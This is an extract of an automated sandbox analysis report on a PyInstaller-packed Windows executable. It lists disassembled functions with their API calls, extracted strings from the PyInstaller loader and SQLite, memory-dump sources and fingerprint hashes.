                                                                                                                                                                                                                                          • API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
                                                                                                                                                                                                                                          • String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
                                                                                                                                                                                                                                          • API String ID: 3832162212-3165540532
                                                                                                                                                                                                                                          • Opcode ID: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
                                                                                                                                                                                                                                          • Instruction ID: b1a9c8493032fd0d74434fdf7b16d39a7f191a38fd765f12e5392a8fd81adfc6
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 37D16132A0CA8286EB20AF79E8552BDB764FB84B58F800235DE9D57B94EF3CD544C750
                                                                                                                                                                                                                                          Function 00007FFD941942B0 Relevance: 23.2, APIs: 1, Strings: 12, Instructions: 452COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: %s mode not allowed: %s$access$cach$cach$cache$file$invalid uri authority: %.*s$localhos$mode$mode$no such %s mode: %s$no such vfs: %s
                                                                                                                                                                                                                                          • API String ID: 1436585979-1067337024
                                                                                                                                                                                                                                          • Opcode ID: 5f15b9148e8d691bade7ac4299c338194b5adc1f0a67d16e58ed18eaea73a7c4
                                                                                                                                                                                                                                          • Instruction ID: d1d803a1e85908b9e3864a873575279399e9a2061ada245524511047cf98efc6
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5f15b9148e8d691bade7ac4299c338194b5adc1f0a67d16e58ed18eaea73a7c4
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6D02D063F0C68645FB758EA4A0B03792BD1AB53B98F14C235CA5E676C2DE3DE541C708
                                                                                                                                                                                                                                          Function 00007FFD9414CF30 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 441COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$API call with %s database connection pointer$NULL$invalid$misuse$unopened
                                                                                                                                                                                                                                          • API String ID: 1436585979-509082904
                                                                                                                                                                                                                                          • Opcode ID: bc0f1b3d37c7c14db3c6a3fb4993dfbb8ccb39d95472aa5842e03a8855881612
                                                                                                                                                                                                                                          • Instruction ID: 65a4220a8a04b81d1e1cab7769f8cc074807cdd96a1019f16add8650ad148290
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: bc0f1b3d37c7c14db3c6a3fb4993dfbb8ccb39d95472aa5842e03a8855881612
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4C12AB22B19A4285EF748FA1E4F037967A1BF86B88F588131DE4E1769ADF3DE445C300
                                                                                                                                                                                                                                          Function 00007FFD938F3248 Relevance: 13.6, APIs: 9, Instructions: 71COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280851953.00007FFD938F1000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFD938F0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280801321.00007FFD938F0000.00000002.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD9393A000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD93948000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD93997000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD9399C000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD9399F000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281451526.00007FFD939A0000.00000080.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281502528.00007FFD939A2000.00000004.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd938f0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4171ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1657101411-0
                                                                                                                                                                                                                                          • Opcode ID: c016222525537ec18d5e696995a9a3f380ff0682bd70983648a287384bccb3b7
                                                                                                                                                                                                                                          • Instruction ID: 0661554782b792b1ef2d2e625db3917a5ab4680e709fb015494534632e04c9b8
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: c016222525537ec18d5e696995a9a3f380ff0682bd70983648a287384bccb3b7
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: FE314CB2708B8186EB708FA0E8507E97368FB84744F04413ADA4E67B99EF7DD948C750
                                                                                                                                                                                                                                          Function 00007FF79D0583B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • FindFirstFileW.KERNEL32(?,00007FF79D058B09,00007FF79D053FA5), ref: 00007FF79D05841B
                                                                                                                                                                                                                                          • RemoveDirectoryW.KERNEL32(?,00007FF79D058B09,00007FF79D053FA5), ref: 00007FF79D05849E
                                                                                                                                                                                                                                          • DeleteFileW.KERNEL32(?,00007FF79D058B09,00007FF79D053FA5), ref: 00007FF79D0584BD
                                                                                                                                                                                                                                          • FindNextFileW.KERNEL32(?,00007FF79D058B09,00007FF79D053FA5), ref: 00007FF79D0584CB
                                                                                                                                                                                                                                          • FindClose.KERNEL32(?,00007FF79D058B09,00007FF79D053FA5), ref: 00007FF79D0584DC
                                                                                                                                                                                                                                          • RemoveDirectoryW.KERNEL32(?,00007FF79D058B09,00007FF79D053FA5), ref: 00007FF79D0584E5
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
                                                                                                                                                                                                                                          • String ID: %s\*
                                                                                                                                                                                                                                          • API String ID: 1057558799-766152087
                                                                                                                                                                                                                                          • Opcode ID: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
                                                                                                                                                                                                                                          • Instruction ID: ff3509a69f88eefa61c878001aa7ed6fdb7a4b4144746b82e8ad4a2e5b4ca26f
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: EB413221A0D58285EA30BB79E4495B9A360FB98754FC00636DDDD476D4FF3CD946CB20
                                                                                                                                                                                                                                          Function 00007FFD940D7336 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 332COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: -x0$0123456789ABCDEF0123456789abcdef$VUUU$VUUU
                                                                                                                                                                                                                                          • API String ID: 0-2031831958
                                                                                                                                                                                                                                          • Opcode ID: 27ee5c829f6d79043f4cbad637b212a471c0560ebe4aff584a080aef168f4e0b
                                                                                                                                                                                                                                          • Instruction ID: 0f9a626fd320e56177b369ed302db7c88e39f5f3018ef0ee4f15ac13f5e0bdf0
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 27ee5c829f6d79043f4cbad637b212a471c0560ebe4aff584a080aef168f4e0b
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 60D13462B1C78286DB359B6490E4B7D6BA1FB46784F4A8235EE4E03787DE2CE404E700
                                                                                                                                                                                                                                          Function 00007FF79D05D19C Relevance: 10.6, APIs: 7, Instructions: 71COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3140674995-0
                                                                                                                                                                                                                                          • Opcode ID: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
                                                                                                                                                                                                                                          • Instruction ID: d1bafdcb193d9d564e726a2957d694acc5ceb77131f966d6648a107fb8020bef
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1A315072619B8186EB70AF65E8503FEB360FB84704F44403ADA8D4BB94EF38D549C720
                                                                                                                                                                                                                                          Function 00007FF79D075C70 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • _get_daylight.LIBCMT ref: 00007FF79D075CB5
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D075608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79D07561C
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D06A9B8: HeapFree.KERNEL32(?,?,?,00007FF79D072D92,?,?,?,00007FF79D072DCF,?,?,00000000,00007FF79D073295,?,?,?,00007FF79D0731C7), ref: 00007FF79D06A9CE
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D06A9B8: GetLastError.KERNEL32(?,?,?,00007FF79D072D92,?,?,?,00007FF79D072DCF,?,?,00000000,00007FF79D073295,?,?,?,00007FF79D0731C7), ref: 00007FF79D06A9D8
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D06A970: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF79D06A94F,?,?,?,?,?,00007FF79D06A83A), ref: 00007FF79D06A979
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D06A970: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF79D06A94F,?,?,?,?,?,00007FF79D06A83A), ref: 00007FF79D06A99E
                                                                                                                                                                                                                                          • _get_daylight.LIBCMT ref: 00007FF79D075CA4
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D075668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79D07567C
                                                                                                                                                                                                                                          • _get_daylight.LIBCMT ref: 00007FF79D075F1A
                                                                                                                                                                                                                                          • _get_daylight.LIBCMT ref: 00007FF79D075F2B
                                                                                                                                                                                                                                          • _get_daylight.LIBCMT ref: 00007FF79D075F3C
                                                                                                                                                                                                                                          • GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF79D07617C), ref: 00007FF79D075F63
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 4070488512-0
                                                                                                                                                                                                                                          • Opcode ID: 0c9ae4c43809035ead388df1149d8e15e4647e923e6de7bb59d770bfc2eeda5e
                                                                                                                                                                                                                                          • Instruction ID: 2a225cea31d28df676790b2e51d949e71c06f322f0b260bad4a5b70b4d5d0948
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0c9ae4c43809035ead388df1149d8e15e4647e923e6de7bb59d770bfc2eeda5e
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 97D1BD22E0C24286E734FF3AD8555B9A761FB54784FC48136EA8D4B796FE3CE8418760
                                                                                                                                                                                                                                          Function 00007FF79D06A684 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1239891234-0
                                                                                                                                                                                                                                          • Opcode ID: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
                                                                                                                                                                                                                                          • Instruction ID: a95f6ef81416dee8e1a2c5f48aa84ce8453cc7b6863c3877e40d00f0d35b829f
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: A1315F32618F8186DB70AF39E8402AEB3A4FB88758F940135EA9D47B54EF3CD555CB10
                                                                                                                                                                                                                                          Function 00007FF79D0718E4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: FileFindFirst_invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2227656907-0
                                                                                                                                                                                                                                          • Opcode ID: 2ef3c37f04818ead7d44404f95bcb0bbc346a7a2ea351082cea4bee254bbf61c
                                                                                                                                                                                                                                          • Instruction ID: 44ccba6891457aea342973e21a147b1cfa4ed0494afb7ceee9840b0c439ebe19
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2ef3c37f04818ead7d44404f95bcb0bbc346a7a2ea351082cea4bee254bbf61c
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: EDB19422B1C69241EA71AB79A8041B9E391EB44BE4FD46131DADD1BBC5FE7CE441C321
                                                                                                                                                                                                                                          Function 00007FF79D075EEC Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • _get_daylight.LIBCMT ref: 00007FF79D075F1A
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D075668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79D07567C
                                                                                                                                                                                                                                          • _get_daylight.LIBCMT ref: 00007FF79D075F2B
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D075608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79D07561C
                                                                                                                                                                                                                                          • _get_daylight.LIBCMT ref: 00007FF79D075F3C
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D075638: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79D07564C
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D06A9B8: HeapFree.KERNEL32(?,?,?,00007FF79D072D92,?,?,?,00007FF79D072DCF,?,?,00000000,00007FF79D073295,?,?,?,00007FF79D0731C7), ref: 00007FF79D06A9CE
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D06A9B8: GetLastError.KERNEL32(?,?,?,00007FF79D072D92,?,?,?,00007FF79D072DCF,?,?,00000000,00007FF79D073295,?,?,?,00007FF79D0731C7), ref: 00007FF79D06A9D8
                                                                                                                                                                                                                                          • GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF79D07617C), ref: 00007FF79D075F63
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3458911817-0
                                                                                                                                                                                                                                          • Opcode ID: 4f5f64917f1a6fb99e16ec8d4eadf885fc2e5ee96e92320975b551feff7f9d51
                                                                                                                                                                                                                                          • Instruction ID: a5f1a7a60b00f5071789bb277c03dbebdee9922df94008e49d9f89a379fdfca0
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4f5f64917f1a6fb99e16ec8d4eadf885fc2e5ee96e92320975b551feff7f9d51
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: E5514132E0C64286E730FF79D8915B9A751BB58784FC44135DA8D8B796EF3CE4408B60
                                                                                                                                                                                                                                          Function 00007FFD940EC380 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 377COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: $recovered %d frames from WAL file %s
                                                                                                                                                                                                                                          • API String ID: 0-3175670447
                                                                                                                                                                                                                                          • Opcode ID: 5b39556d8798284ef51883c6a8a336aae58982f94e60b940d7809ca3056fce41
                                                                                                                                                                                                                                          • Instruction ID: 89d8c4a34b69d3842f8b464ec97ec91f1be97ec59c9e82c0243ac61d276ecddd
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5b39556d8798284ef51883c6a8a336aae58982f94e60b940d7809ca3056fce41
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4EF1BB32B0878686E7649F65E0A076F77A0F786B88F008035DE9D87B99DF39D854DB40
                                                                                                                                                                                                                                          Function 00007FF79D055820 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
